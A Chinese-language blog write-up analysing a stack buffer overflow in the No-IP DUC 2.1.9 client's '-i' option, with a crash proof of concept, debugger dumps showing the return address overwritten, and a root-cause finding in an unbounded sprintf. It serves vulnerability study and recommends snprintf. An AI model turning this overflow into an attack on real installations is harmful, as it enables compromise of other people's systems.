No-IP Dynamic Update Client (DUC) 2.1.9 - Local IP Address Stack Overflow 漏洞简析

环境

gdb + peda + pwndbg
ubuntu 16.04

分析

poc(exp可以查看底部链接,不过那个exp不好使,因为好像便宜不对,而且返回地址是写死的)

1
2
3
4
5
6
7
import os

binary = "./noip2-i686"

print "[*] Executing %s ..." % (binary)

os.system("%s -i %s" % (binary, "A" * 500))

直接运行会报错,缺少/usr/local/etc/no-ip2.conf文件,查看文档,可以看到-C可以新建

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
$ ./noip2-i686 -h

USAGE: noip2-i686 [ -C [ -F][ -Y][ -U #min]
[ -u username][ -p password][ -x progname]]
[ -c file][ -d][ -D pid][ -i addr][ -S][ -M][ -h]

Version Linux-2.1.9
Options: -C create configuration data
-F force NAT off
-Y select all hosts/groups
-U minutes set update interval
-u username use supplied username
-p password use supplied password
-x executable use supplied executable
-c config_file use alternate data path
-d increase debug verbosity
-D processID toggle debug flag for PID
-i IPaddress use supplied address
-I interface use supplied interface
-S show configuration data
-M permit multiple instances
-K processID terminate instance PID
-z activate shm dump code
-h help (this text)
$ sudo ./noip2-i686 -C

Auto configuration for Linux client of no-ip.com.

Please enter the login/email string for no-ip.com XXX@XXX.com
Please enter the password for user 'XXX@XXX.com' ***************

Only one host [XXXXX.ddns.net] is registered to this account.
It will be used.
Please enter an update interval:[30]
Do you wish to run something at successful update?[N] (y/N) ^M

New configuration file '/usr/local/etc/no-ip2.conf' created.
$ sudo chmod 777 /usr/local/etc/no-ip2.conf

通过exploit-db的信息,我们知道漏洞在-i处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
gdb-peda$ r -i `python -c "print 'A'*500"`
Starting program: /home/giantbranch/tmp/noip/noip-2.1.9-1/binaries/noip2-i686 -i `python -c "print 'A'*500"`
IP address detected on command line.
Running in single use mode.
IP address 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Use the NAT facility.

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
EAX: 0x41414141 ('AAAA')
EBX: 0x0
ECX: 0xffffffff
EDX: 0xf7fb8864 --> 0x0
ESI: 0xf7fb7000 --> 0x1b1db0
EDI: 0xf7fb7000 --> 0x1b1db0
EBP: 0x41414141 ('AAAA')
ESP: 0xffffd350 ('A' <repeats 15 times>...)
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xffffd350 ('A' <repeats 15 times>...)
0004| 0xffffd354 ('A' <repeats 15 times>...)
0008| 0xffffd358 ('A' <repeats 15 times>...)
0012| 0xffffd35c ('A' <repeats 15 times>...)
0016| 0xffffd360 ('A' <repeats 15 times>...)
0020| 0xffffd364 ('A' <repeats 15 times>...)
0024| 0xffffd368 ('A' <repeats 15 times>...)
0028| 0xffffd36c ('A' <repeats 15 times>...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────────────
EAX 0x41414141 ('AAAA')
EBX 0x0
ECX 0xffffffff
EDX 0xf7fb8864 (_IO_stdfile_2_lock) ◂— 0
EDI 0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— mov al, 0x1d /* 0x1b1db0 */
ESI 0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— mov al, 0x1d /* 0x1b1db0 */
EBP 0x41414141 ('AAAA')
ESP 0xffffd350 ◂— 0x41414141 ('AAAA')
EIP 0x41414141 ('AAAA')
───────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────
Invalid address 0x41414141










────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffd350 ◂— 0x41414141 ('AAAA')
... ↓
──────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────
► f 0 41414141
f 1 41414141
f 2 41414141
f 3 41414141
f 4 41414141
f 5 41414141
f 6 41414141
f 7 41414141
f 8 41414141
f 9 41414141
f 10 41414141
Program received signal SIGSEGV (fault address 0x41414141)

输出的看到最后一行是Use the NAT facility.,我们IDA找一下,是在handle_dynup_error函数里面,发现这里只是输出

1
2
3
4
case 27:
Msg("IP address '%s' is a private network address.", (unsigned int)&IPaddress);
Msg("Use the NAT facility.", v2);
goto LABEL_26;

但是调用这个的有很多,不好确定是哪个,我们再看上一个字符串Recovering dead process 111467 shmem slot,发现是在get_shm_info函数里面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
for ( i = 0; i <= 3; ++i )
{
v13 = shared + 504 * i;
if ( !*(_DWORD *)(shared + 504 * i) )
{
my_instance = shared + 504 * i;
break;
}
if ( !strcmp((const char *)(v13 + 24), config_filename) )
{
if ( kill(*(_DWORD *)v13, 0) == -1 && *__errno_location() == 3 )
{
Msg("Recovering dead process %d shmem slot", *(_DWORD *)v13);
my_instance = v13;
break;
}
if ( background || !IPaddress )
{
Msg("Configuration '%s' already in use", v13 + 24);
Msg("by process %d. Ending!", *(_DWORD *)v13);
shmdt(shmaddr);
shared = 0;
return -1;
}
strncpy((char *)(v13 + 8), &IPaddress, 0x10u);
}
}

Msg("Recovering dead process %d shmem slot", *(_DWORD *)v13);处下断点,栈数据没有被破坏,所以这还没到漏洞点,这时已经回到main函数了

只剩后面这些代码了,由于IPaddress我们指定了,所以肯定不为0 ,进入的是第二个if,那么下面这些函数没看出什么漏洞,那么漏洞应该在dynamic_update里面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
if ( get_shm_info() != -1 )
{
if ( !IPaddress )
{
if ( nat )
get_our_visible_IPaddr(&IPaddress);
else
getip(&IPaddress, device);
}
if ( IPaddress )
{
if ( dynamic_update() == 1 )
{
strncpy((char *)(my_instance + 8), &IPaddress, 0x10u);
goto LABEL_31;
}
*(_DWORD *)my_instance = 0;
shmdt(shmaddr);
}
else
{
Msg("Not connected to Net!", v7);
*(_DWORD *)my_instance = 0;
shmdt(shmaddr);
}
}

我们执行到call dynamic_update,ni就蹦了,IDA查看这个函数,很快就可以看到这个漏洞点了

1
sprintf(&s, "&ip=%s", &IPaddress);

我们调试确认一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
  0x804c032 <dynamic_update+79>     call   bdecode <0x804e989>

0x804c037 <dynamic_update+84> mov dword ptr [esp + 8], IPaddress <0x80573bc>
0x804c03f <dynamic_update+92> mov dword ptr [esp + 4], 0x804fd8d
0x804c047 <dynamic_update+100> lea eax, [ebp - 0x128]
0x804c04d <dynamic_update+106> mov dword ptr [esp], eax
► 0x804c050 <dynamic_update+109> call sprintf@plt <0x8049348>
s: 0xffffd2e0 —▸ 0xf7fd2018 ◂— 0x7273752f ('/usr')
format: 0x804fd8d ◂— '&ip=%s'
vararg: 0x80573bc (IPaddress) ◂— 0x41414141 ('AAAA')

0x804c055 <dynamic_update+114> lea eax, [ebp - 0x128]
0x804c05b <dynamic_update+120> mov dword ptr [esp + 4], eax
0x804c05f <dynamic_update+124> mov dword ptr [esp], buffer <0x8053020>
0x804c066 <dynamic_update+131> call strcat@plt <0x80491f8>

0x804c06b <dynamic_update+136> mov dword ptr [ebp - 0x24], buffer+8192 <0x8055020>

我们再看看IPaddress的位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
db-peda$ x /76wx 0x80573bc
0x80573bc <IPaddress>: 0x41414141 0x41414141 0x41414141 0x41414141
0x80573cc: 0x41414141 0x41414141 0x41414141 0x41414141
0x80573dc: 0x41414141 0x41414141 0x41414141 0x41414141
0x80573ec: 0x41414141 0x41414141 0x41414141 0x41414141
0x80573fc: 0x41414141 0x41414141 0x41414141 0x41414141
0x805740c: 0x41414141 0x41414141 0x41414141 0x41414141
0x805741c: 0x41414141 0x41414141 0x41414141 0x41414141
0x805742c: 0x41414141 0x41414141 0x41414141 0x41414141
0x805743c: 0x41414141 0x41414141 0x41414141 0x41414141
0x805744c: 0x41414141 0x41414141 0x41414141 0x41414141
0x805745c: 0x41414141 0x41414141 0x41414141 0x41414141
0x805746c: 0x41414141 0x41414141 0x41414141 0x41414141
0x805747c: 0x41414141 0x41414141 0x41414141 0x41414141
0x805748c: 0x41414141 0x41414141 0x41414141 0x41414141
0x805749c: 0x41414141 0x41414141 0x41414141 0x41414141
0x80574ac: 0x41414141 0x41414141 0x41414141 0x41414141
0x80574bc: 0x41414141 0x41414141 0x41414141 0x41414141
0x80574cc: 0x41414141 0x41414141 0x41414141 0x41414141
0x80574dc: 0x41414141 0x41414141 0x41414141 0x00000000

可以看到确实是sprintf的时候溢出的,我们不断单步到ret,确实返回地址被覆盖成0x41414141了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
 EAX  0xffffffff
EBX 0x0
ECX 0xffffffff
EDX 0xf7fb8864 (_IO_stdfile_2_lock) ◂— 0
EDI 0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— mov al, 0x1d /* 0x1b1db0 */
ESI 0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— mov al, 0x1d /* 0x1b1db0 */
EBP 0x41414141 ('AAAA')
ESP 0xffffd40c ◂— 'AAAA'
EIP 0x804c3e8 (dynamic_update+1029) ◂— ret
───────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────
0x804c25f <dynamic_update+636> je dynamic_update+1013 <0x804c3d8>

0x804c3d8 <dynamic_update+1013> mov eax, dword ptr [ebp - 0x18]
0x804c3db <dynamic_update+1016> mov dword ptr [ebp - 0x32c], eax
0x804c3e1 <dynamic_update+1022> mov eax, dword ptr [ebp - 0x32c]
0x804c3e7 <dynamic_update+1028> leave
► 0x804c3e8 <dynamic_update+1029> ret <0x41414141>




────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffd40c ◂— 'AAAA'
01:0004│ 0xffffd410 —▸ 0x804f100 ◂— dec ecx
02:0008│ 0xffffd414 —▸ 0xffffd4c4 —▸ 0xffffd60b ◂— 0x6d6f682f ('/hom')
03:000c│ 0xffffd418 —▸ 0x8053020 (buffer) ◂— 0x20544500
04:0010│ 0xffffd41c —▸ 0xf7ffd918 ◂— 0
05:0014│ 0xffffd420 —▸ 0x8052520 (__libc_start_main@got.plt) —▸ 0xf7e1d540 (__libc_start_main) ◂— call 0xf7f24b59
06:0018│ 0xffffd424 —▸ 0x8053020 (buffer) ◂— 0x20544500
07:001c│ 0xffffd428 ◂— 0x0
──────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────
► f 0 804c3e8 dynamic_update+1029
f 1 41414141

简单总结

所以漏洞成因就是dynamic_update中的sprintf(&s, "&ip=%s", &IPaddress);拼接,建议使用snprintf

reference

https://www.exploit-db.com/exploits/25411

打赏专区